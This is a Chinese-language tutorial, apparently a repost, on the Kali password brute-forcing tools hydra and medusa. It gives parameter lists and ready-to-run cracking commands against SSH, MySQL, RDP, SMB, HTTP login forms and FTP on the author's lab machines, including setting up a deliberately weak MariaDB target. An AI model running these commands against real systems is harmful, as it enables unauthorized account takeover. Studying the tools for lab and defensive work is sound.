kali-密碼爆破工具


hydra

概覽

hydra 是一個網絡帳號破解工具,支持多種協議。其作者是van Hauser,David Maciejak與其共同維護。
kali默認自帶

參數

使用

-R 根據上一次進度繼續破解
-S 大寫,采用SSL鏈接
-s 小寫,可通過這個參數指定非默認端口
-l 指定破解的用戶,對特定用戶破解
-L 指定用戶名字典(文件)
-q 不顯示有關連接錯誤的消息
-p 指定密碼破解
-P 指定密碼字典(文件)
-e 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C 用戶名可以用:分割(username:password)可以代替-l username -p password
-c 在所有線程上每次登錄嘗試的TIME等待時間(強制-t 1)
-o 將找到的登錄名/密碼對寫到文件
-t 指定多線程數量,默認為16個線程
-vV 顯示詳細過程
-M 指定目標機器,一行一個
-F 只要有一個賬號密碼爆破成功就停止
-f 全部賬號密碼爆破成功才停止爆破
-w 設置最大超時的時間,單位秒,默認是30s
server 目標IP
service 指定服務名(telnet ftp pop3 mssql mysql ssh ssh2......)

實例

ssh爆破

/*靶機:Ubuntu 192.168.10.11  允許root遠程登陸*/
/*軟件提示建議爆破ssh,應該使用-t 4*/
hydra -l root -P pass.txt -vV -o out.txt 192.168.10.11 ssh

mysql爆破

靶機安裝MySQL的姊妹版Mariadb

root@linux:~# apt install -y mariadb-server
root@linux:~# mysql_secure_installation

Enter current password for root (enter for none):   #輸入當前root用戶密碼默認為空,直接回車
OK, successfully used password, moving on...

Set root password? [Y/n] y  #設置root密碼,yer or no
New password:   #第一次輸入密碼“!123456q”
Re-enter new password:   #第二次輸入密碼“!123456q”
Password updated successfully!
Reloading privilege tables..
 ... Success!

Remove anonymous users? [Y/n] y  #移除匿名用戶
 ... Success!

Disallow root login remotely? [Y/n] n  #不禁止root用戶遠程登陸
 ... skipping.

Remove test database and access to it? [Y/n] y  #移除test庫
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!


Reload privilege tables now? [Y/n] y  #立即生效
 ... Success!

Cleaning up...

All done!  If you've completed all of the above steps, your MariaDB
installation should now be secure.

Thanks for using MariaDB!

創建test用戶允許其遠程登陸,方便測試

#先放行3306端口
root@linux:~# iptables -I INPUT -p tcp --dport 3306 -j ACCEPT

root@linux:~# mysql -uroot -p123456q
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 59
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> CREATE USER 'test'@'%' IDENTIFIED BY '123456';  #創建test用戶,%表示主機
Query OK, 0 rows affected (0.000 sec)

MariaDB [(none)]> select host,user from mysql.user where user="test"; 
+------+------+
| host | user |
+------+------+
| %    | test |
+------+------+
1 row in set (0.000 sec)

kali直接爆

hydra -l test -P SkullSecurityComp.txt -vV -o mysqltest.txt -F 10.3.82.162 mysql

RDP爆破

windows打開控制面板,開啟RDP遠程連接

hydra -l admin -P SkullSecurityComp.txt -vV -o rdp.txt -F 192.168.10.7 rdp 

smb爆破

smb的用法與之前類似,就不詳細說了

hydra -l Administrator -P pass.txt -vV -o out.txt 192.168.xxx.xxx smb

http爆破

/*GET型*/
hydra -L user.txt -P pass.txt -s 80 -vV -o out.txt 192.168.xxx.xxx(或域名) -F http-get "/admin/index.PHP"
/*POST型*/
hydra -L user.txt -P pass.txt -s 80 -vV -o out.txt 192.168.xxx.xxx(或域名) -F http-post-form "/:userName=^USER^&password=^PASS^:error"
/*使用https*/
hydra -L user.txt -P pass.txt 192.168.xxx.xxx(或域名) https -m /index.php 

這里以皮卡丘的的表單爆破為例子:

hydra -l admin -P SkullSecurityComp.txt -s 80 -vV -o http.txt 192.168.10.7 -F http-post-form "/:userName=^USER^&password=^PASS^:error" 

ftp爆破

/*略*/
hydra -L user.txt -P pass.txt -v –e ns -o out.txt 192.168.47.133 ftp

medusa

參數

-h 目標IP
-H 目標主機文件
-u 用戶名
-U 用戶名文件
-p 密碼
-P 密碼文件
-C 組合條目文件
-O 文件日志信息
-e [n/s/ns] N意為空密碼,S意為密碼與用戶名相同
-M 模塊執行名稱
-m 傳遞參數到模塊
-d 顯示所有的模塊名稱
-n 使用非默認端口
-s 啟用SSL
-r 重試間隔時間,默認為3秒
-t 設定線程數量
-L 並行化,每個用戶使用一個線程
-f 在任何主機上找到第一個賬號/密碼后,停止破解
-q 顯示模塊的使用信息
-v 詳細級別(0-6)
-w 錯誤調試級別(0-10)
-V 顯示版本
-Z 繼續掃描上一次

實例

爆破MySQL

使用方法與hydra大體類似

medusa -h 192.168.10.7 -u test -P SkullSecurityComp.txt -f -O mysql_medusa.txt -M mysql 

爆破ssh

medusa -H ip.txt -U user.txt -P pass.txt -n 9956 -e ns -T 255 -f -O out.txt -r 0 -M ssh

爆破rdp

medusa -H ip.txt -U user.txt -P pass.txt -n 9956 -e ns -T 255 -f -O out.txt -r 0 -M rdp

爆破ftp

medusa -H ip.txt -U user.txt -P pass.txt -n 9956 -e ns -T 255 -f -O out.txt -r 0 -M ftp


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM